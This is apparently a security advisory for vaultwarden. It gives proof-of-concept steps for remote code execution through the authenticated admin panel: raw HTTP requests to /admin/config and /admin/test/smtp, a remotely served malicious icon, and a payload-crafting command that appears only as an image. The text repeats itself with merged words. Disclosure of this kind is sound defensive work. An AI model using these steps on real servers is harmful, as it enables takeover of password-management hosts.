Summary
Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system.
PoC
Specify settings as shown below on the image.
![2](https://private-user-images.githubusercontent.com/117418547/403011737-f5a40340-45f4-4797-961b-d985a8efd4ee.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyNzgxNjAsIm5iZiI6MTczOTI3Nzg2MCwicGF0aCI6Ii8xMTc0MTg1NDcvNDAzMDExNzM3LWY1YTQwMzQwLTQ1ZjQtNDc5Ny05NjFiLWQ5ODVhOGVmZDRlZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxMVQxMjQ0MjBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zZDVhMjFmNDk0NzZlNzI1ODczYWFiYTA2YjVjNmVlMjBlY2Q1NzU3YWI0NWE2ODZlNjc4NTQ4Y2NiZmNmODViJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.7ZI0x3MtqbopqcX3ZvpGiLEbkQ-6xDIYWlm49MukHso)
Then set read-only option Icon cache folder by sending POST /admin/config request manually:
POST /admin/config HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/json
Cookie: VW_ADMIN=
{
...
"icon_cache_folder":"/@icon"
}
Execute following command for craft payload:
![](https://private-user-images.githubusercontent.com/117418547/403018442-223ed1bd-e93c-4c05-b258-740270f105d9.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyNzgxNjAsIm5iZiI6MTczOTI3Nzg2MCwicGF0aCI6Ii8xMTc0MTg1NDcvNDAzMDE4NDQyLTIyM2VkMWJkLWU5M2MtNGMwNS1iMjU4LTc0MDI3MGYxMDVkOS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxMVQxMjQ0MjBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lM2JmNzlhZjAxYzNjOTkyYTU1ZDFiNjliOTEwODlmOTU3YzE4ZmIxNzZkYWUwMjhiNmI1MjY1YzhhODJjZDQzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.CwN6-f_fcyg4lzyxq8uStCNAhzU8U0FblERMJCcYQpo)
After that serve image on remote server with name apple-touch-icon.png
or favicon.ico
.
Download it on vaultwarden host by GET /icons/site.com/icon.png
request.
We can see @icon
directory and site.com.png
file on the vaultwarden host.
![20250114_19h01m38s_grim](https://private-user-images.githubusercontent.com/117418547/403023483-0d9019a4-310b-4497-8ff9-fcf721eb2968.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyNzgxNjAsIm5iZiI6MTczOTI3Nzg2MCwicGF0aCI6Ii8xMTc0MTg1NDcvNDAzMDIzNDgzLTBkOTAxOWE0LTMxMGItNDQ5Ny04ZmY5LWZjZjcyMWViMjk2OC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxMVQxMjQ0MjBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1hM2I0MmE4Y2I1ZGRkZmQ1YjFkMmFkNTU4YmM0Njk1NGVkMDM5M2MxYjcyMDg5OGI3OWViOTQyOGRiNzE0ZWIxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.ws8D7SbZChG-EHQlDGK_bbj-Gk_zWdtQYx3voK4zwII)
Finally, make an http request to execute code
POST /admin/test/smtp HTTP/1.1
Host: 127.0.0.1:8001
Cookie: VW_ADMIN=<JWT>
{"email":"[email protected]"}
![20250114_19h05m20s_grim](https://private-user-images.githubusercontent.com/117418547/403025732-f8e54927-1b38-4f98-8070-f734dd59f4d1.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyNzgxNjAsIm5iZiI6MTczOTI3Nzg2MCwicGF0aCI6Ii8xMTc0MTg1NDcvNDAzMDI1NzMyLWY4ZTU0OTI3LTFiMzgtNGY5OC04MDcwLWY3MzRkZDU5ZjRkMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxMVQxMjQ0MjBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03NGY5NWM1ZGM4MDkwMTA1YjE4NTI1Njk0ZGM4M2IxMDNjZGYzMDFjYzFhODdjYjg2MTFlMjcyNDJmMTk2YjY1JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.U5DQYSDdybPVwMHk0aRHI_sTfN_ZHzKeXf6fP6cLpX4)
Summary
Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system.
PoC
Specify settings as shown below on the image.
Then set read-only option Icon cache folder by sending POST /admin/config request manually:
POST /admin/config HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/json
Cookie: VW_ADMIN=
Execute following command for craft payload:
![](https://private-user-images.githubusercontent.com/117418547/403018442-223ed1bd-e93c-4c05-b258-740270f105d9.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkyNzgxNjAsIm5iZiI6MTczOTI3Nzg2MCwicGF0aCI6Ii8xMTc0MTg1NDcvNDAzMDE4NDQyLTIyM2VkMWJkLWU5M2MtNGMwNS1iMjU4LTc0MDI3MGYxMDVkOS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxMVQxMjQ0MjBaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lM2JmNzlhZjAxYzNjOTkyYTU1ZDFiNjliOTEwODlmOTU3YzE4ZmIxNzZkYWUwMjhiNmI1MjY1YzhhODJjZDQzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.CwN6-f_fcyg4lzyxq8uStCNAhzU8U0FblERMJCcYQpo)
After that serve image on remote server with name
apple-touch-icon.png
orfavicon.ico
.Download it on vaultwarden host by
GET /icons/site.com/icon.png
request.We can see
@icon
directory andsite.com.png
file on the vaultwarden host.Finally, make an http request to execute code